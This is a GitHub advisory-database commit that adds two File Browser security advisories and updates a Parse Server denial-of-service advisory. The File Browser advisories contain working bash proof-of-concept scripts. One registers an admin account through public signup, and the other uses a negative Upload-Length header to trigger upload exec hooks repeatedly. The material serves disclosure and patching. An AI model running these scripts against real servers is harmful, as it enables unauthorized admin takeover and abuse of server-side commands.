Skip to content

Commit b8daa6e

Browse files
1 parent 2915417 commit b8daa6e

5 files changed

Lines changed: 242 additions & 2 deletions

File tree

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5gg9-5g7w-hm73",
4+
"modified": "2026-03-16T20:44:20Z",
5+
"published": "2026-03-16T20:44:20Z",
6+
"aliases": [
7+
"CVE-2026-32760"
8+
],
9+
"summary": "File Browser Signup Grants Admin When Default Permissions Include Admin",
10+
"details": "## Summary\nAny unauthenticated visitor can register a full administrator account when self-registration (`signup = true`) is enabled and the default user permissions have `perm.admin = true`. The signup handler blindly applies all default settings - including `Perm.Admin` - to the\nnew user without any server-side guard that strips admin from self-registered accounts.\n\n## Details\n\n**Affected file:** `http/auth.go`\n\n**Vulnerable code:**\n```go\n// signupHandler (http/auth.go)\nuser := &users.User{\n Username: info.Username,\n}\nd.settings.Defaults.Apply(user) // ← copies Perm.Admin = true if set in defaults\n// NO guard: user.Perm.Admin is never cleared here\n```\n\n**`settings.UserDefaults.Apply` (settings/defaults.go):**\n```go\nfunc (d *UserDefaults) Apply(u *users.User) {\n u.Perm = d.Perm // copies full Permissions struct, including Admin field\n ...\n}\n```\n\n**Settings API permits Admin in defaults (http/settings.go):**\n```go\nvar settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n ...\n d.settings.Defaults = req.Defaults // Admin can set Defaults.Perm.Admin = true\n ...\n})\n```\n\nThe `signupHandler` is supposed to create unprivileged accounts for new visitors. It contains no explicit `user.Perm.Admin = false` reset after `Defaults.Apply`. If an administrator (intentionally or accidentally) configures `defaults.perm.admin = true` and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.\n\n## Demo Server Setup\n\n```bash\n# Pull latest release\ndocker run -d --name fb-test \\\n -p 8080:80 \\\n -v /tmp/fb-data:/srv \\\n filebrowser/filebrowser:v2.31.2\n\n# Wait for startup, then set defaults.perm.admin = true\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"admin\",\"password\":\"admin\"}')\n\n# Enable signup and set admin as default permission\ncurl -s -X PUT http://localhost:8080/api/settings \\\n -H \"X-Auth: $ADMIN_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"signup\": true,\n \"defaults\": {\n \"perm\": {\n \"admin\": true,\n \"execute\": true,\n \"create\": true,\n \"rename\": true,\n \"modify\": true,\n \"delete\": true,\n \"share\": true,\n \"download\": true\n }\n }\n }'\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\n# poc_signup_admin.sh\n# Demonstrates: unauthenticated signup → admin account\n\nTARGET=\"http://localhost:8080\"\n\necho \"[*] Registering attacker account via public signup endpoint...\"\nSTATUS=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -X POST \"$TARGET/api/signup\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\necho \"[*] Signup response: HTTP $STATUS\"\n\necho \"[*] Logging in as newly created account...\"\nATTACKER_TOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\n\necho \"[*] Fetching user list with attacker token (admin-only endpoint)...\"\ncurl -s \"$TARGET/api/users\" \\\n -H \"X-Auth: $ATTACKER_TOKEN\" | python3 -m json.tool\n\necho \"\"\necho \"[*] Verifying admin access by reading /api/settings...\"\ncurl -s \"$TARGET/api/settings\" \\\n -H \"X-Auth: $ATTACKER_TOKEN\" | python3 -m json.tool\n```\n\n**Expected output:** The attacker's token successfully returns the full user list and\nserver settings - endpoints restricted to `Perm.Admin = true` users.\n\n## Impact\n\nAny unauthenticated visitor who can reach `POST /api/signup` obtains a full admin account.\nFrom there, they can:\n- List, read, modify, and delete every file on the server\n- Create, modify, and delete all other users\n- Change authentication method and server settings\n- Execute arbitrary commands if `enableExec = true`",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/filebrowser/filebrowser/v2"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.62.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 2.61.2"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-5gg9-5g7w-hm73"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/filebrowser/filebrowser"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-269",
54+
"CWE-284"
55+
],
56+
"severity": "CRITICAL",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-03-16T20:44:20Z",
59+
"nvd_published_at": null
60+
}
61+
}

advisories/github-reviewed/2026/03/GHSA-cmj3-wx7h-ffvg/GHSA-cmj3-wx7h-ffvg.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-cmj3-wx7h-ffvg",
4-
"modified": "2026-03-11T00:16:48Z",
4+
"modified": "2026-03-16T20:42:11Z",
55
"published": "2026-03-11T00:16:48Z",
66
"aliases": [
77
"CVE-2026-30946"
88
],
99
"summary": "Parse Server affected by denial-of-service via unbounded query complexity in REST and GraphQL API",
10-
"details": "### Impact\n\nAn unauthenticated attacker can exhaust Parse Server resources (CPU, memory, database connections) through crafted queries that exploit the lack of complexity limits in the REST and GraphQL APIs.\n\nAll Parse Server deployments using the REST or GraphQL API are affected.\n\n### Patches\n\nThe vulnerability is fixed by introducing configurable request complexity limits via the `requestComplexity` server option with the following keys:\n\n- `subqueryDepth`: Maximum nesting depth for `$inQuery`, `$notInQuery`, `$select`, `$dontSelect`\n- `includeDepth`: Maximum depth of dot-separated `include` paths\n- `includeCount`: Maximum number of `include` fields per query\n- `graphQLDepth`: Maximum depth of GraphQL field selections\n- `graphQLFields`: Maximum number of field selections in a GraphQL query\n\nIf the server options are not set their default values apply to fix the vulnerability. Requests using master key or maintenance key bypass these limits. Set any property to `-1` to disable that specific limit.\n\n### Workarounds\n\nThere is no known workaround.\n\n### References\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-cmj3-wx7h-ffvg\n- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.2\n- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.15",
10+
"details": "### Impact\n\nAn unauthenticated attacker can exhaust Parse Server resources (CPU, memory, database connections) through crafted queries that exploit the lack of complexity limits in the REST and GraphQL APIs.\n\nAll Parse Server deployments using the REST or GraphQL API are affected.\n\n### Patches\n\nThe vulnerability is fixed by introducing configurable request complexity limits via the `requestComplexity` server option with the following keys:\n\n- `subqueryDepth`: Maximum nesting depth for `$inQuery`, `$notInQuery`, `$select`, `$dontSelect`\n- `includeDepth`: Maximum depth of dot-separated `include` paths\n- `includeCount`: Maximum number of `include` fields per query\n- `graphQLDepth`: Maximum depth of GraphQL field selections\n- `graphQLFields`: Maximum number of field selections in a GraphQL query\n\nRequests using master key or maintenance key bypass these limits. Set any property to `-1` to disable that specific limit.\n\nIn versions `8.6.15` and `9.5.2-alpha.2`, these limits were enabled by default. This unintentionally introduced a breaking change for some applications with legitimate complex queries. In versions `8.6.46` and `9.6.0-alpha.22`, the defaults were changed to `-1` (disabled) to restore backwards compatibility.\n\nThe limits remain available as configuration options. To mitigate the vulnerability, upgrade to a patched version and set each `requestComplexity` property to a value appropriate for your application.\n\n### Workarounds\n\nThere is no known workaround.\n\n### References\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-cmj3-wx7h-ffvg\n- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.2\n- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.15",
1111
"severity": [
1212
{
1313
"type": "CVSS_V4",
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-ffx7-75gc-jg7c",
4+
"modified": "2026-03-16T20:43:29Z",
5+
"published": "2026-03-16T20:43:29Z",
6+
"aliases": [
7+
"CVE-2026-32759"
8+
],
9+
"summary": "File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely",
10+
"details": "## Summary\nThe TUS resumable upload handler parses the `Upload-Length` header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. `-1`), the first PATCH request immediately satisfies the completion condition (`newOffset >= uploadLength` → `0 >= -1`), causing the server to fire `after_upload` exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured `after_upload` hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.\n\n## Details\n\n**Affected file:** `http/tus_handlers.go`\n\n**Vulnerable code - POST (register upload):**\n```go\nfunc getUploadLength(r *http.Request) (int64, error) {\n uploadOffset, err := strconv.ParseInt(r.Header.Get(\"Upload-Length\"), 10, 64)\n // ← int64: accepts -1, -9223372036854775808, etc.\n if err != nil {\n return 0, fmt.Errorf(\"invalid upload length: %w\", err)\n }\n return uploadOffset, nil\n}\n\n// In tusPostHandler:\nuploadLength, err := getUploadLength(r) // uploadLength = -1 (attacker-supplied)\ncache.Register(file.RealPath(), uploadLength) // stores -1 as expected size\n```\n\n**Vulnerable code - PATCH (write chunk):**\n```go\n// In tusPatchHandler:\nnewOffset := uploadOffset + bytesWritten // 0 + 0 = 0 (empty body)\nif newOffset >= uploadLength { // 0 >= -1 → TRUE immediately!\n cache.Complete(file.RealPath())\n _ = d.RunHook(func() error { return nil }, \"upload\", r.URL.Path, \"\", d.user)\n // ← after_upload hook fires with empty or partial file\n}\n```\n\n**The completion check uses signed comparison.** Any negative `uploadLength` is always less than `newOffset` (which starts at 0), so the hook fires on the very first PATCH regardless of how many bytes were sent.\n\n**Consequence:** An attacker with upload permission can:\n1. Initiate a TUS upload for any filename with `Upload-Length: -1`\n2. Send a PATCH with an empty body (`Upload-Offset: 0`)\n3. `after_upload` hook fires immediately with a 0-byte (or partial) file\n4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook\n\nIf exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.\n\n## Demo Server Setup\n\n```bash\ndocker run -d --name fb-tus \\\n -p 8080:80 \\\n -v /tmp/fb-tus:/srv \\\n -e FB_EXECER=true \\\n filebrowser/filebrowser:v2.31.2\n\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"admin\",\"password\":\"admin\"}')\n\n# Configure a visible after_upload hook\ncurl -s -X PUT http://localhost:8080/api/settings \\\n -H \"X-Auth: $ADMIN_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"commands\": {\n \"after_upload\": [\"bash -c \\\"echo HOOK_FIRED: $FILE $(date) >> /tmp/hook_log.txt\\\"\"]\n }\n }'\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\n# poc_tus_negative_length.sh\n\nTARGET=\"http://localhost:8080\"\n\n# Login as any user with upload permission\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\n\necho \"[*] Token: ${TOKEN:0:40}...\"\n\nFILENAME=\"/trigger_test_$(date +%s).txt\"\n\necho \"[*] Step 1: POST TUS upload with Upload-Length: -1\"\ncurl -s -X POST \"$TARGET/api/tus$FILENAME\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Upload-Length: -1\" \\\n -H \"Content-Length: 0\" \\\n -v 2>&1 | grep -E \"HTTP|Location\"\n\necho \"\"\necho \"[*] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)\"\ncurl -s -X PATCH \"$TARGET/api/tus$FILENAME\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Upload-Offset: 0\" \\\n -H \"Content-Type: application/offset+octet-stream\" \\\n -H \"Content-Length: 0\" \\\n -v 2>&1 | grep -E \"HTTP|Upload\"\n\necho \"\"\necho \"[*] Checking hook log on server (/tmp/hook_log.txt)...\"\necho \"[*] If hook fired, you will see entries like:\"\necho \" HOOK_FIRED: /srv/trigger_test_XXXX.txt <timestamp>\"\n\necho \"\"\necho \"[*] Repeating 5 times to demonstrate unlimited hook triggering...\"\nfor i in $(seq 1 5); do\n FNAME=\"/spam_hook_$i.txt\"\n curl -s -X POST \"$TARGET/api/tus$FNAME\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Upload-Length: -1\" \\\n -H \"Content-Length: 0\" > /dev/null\n \n curl -s -X PATCH \"$TARGET/api/tus$FNAME\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Upload-Offset: 0\" \\\n -H \"Content-Type: application/offset+octet-stream\" \\\n -H \"Content-Length: 0\" > /dev/null\n \n echo \" Hook trigger $i sent\"\ndone\necho \"[*] Done - 5 hooks fired with 0 bytes uploaded.\"\n```\n\n## Impact\n\n**Exec Hook Abuse (when `enableExec = true`):** An attacker can trigger any `after_upload` exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables:\n\n- **Denial of Service:** Triggering expensive processing hooks (virus scanning, transcoding,\n ML inference) with zero cost on the attacker's side.\n- **Command Injection amplification:** Combined with the hook injection vulnerability\n (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE.\n- **Business logic abuse:** Triggering upload-driven workflows (S3 ingestion, database inserts,\n notifications) with empty payloads or arbitrary filenames.\n\n**Hook-free impact:** Even without exec hooks, a negative `Upload-Length` creates an inconsistent cache entry. The file is marked \"complete\" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.\n\n**Who is affected:** All deployments using the TUS upload endpoint (`/api/tus`). The `enableExec` flag amplifies the impact from cache inconsistency to remote command execution.\n\n## Resolution\n\nThis vulnerability has not been addressed, and has been added to the issue tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is **disabled by default for all installations** and users are warned if they enable it. This feature is **not to be used in untrusted environments** and we recommend to **not use it**.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/filebrowser/filebrowser/v2"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "2.61.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-ffx7-75gc-jg7c"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/filebrowser/filebrowser/issues/5199"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/filebrowser/filebrowser"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-190"
55+
],
56+
"severity": "MODERATE",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-03-16T20:43:29Z",
59+
"nvd_published_at": null
60+
}
61+
}

0 commit comments

Comments
 (0)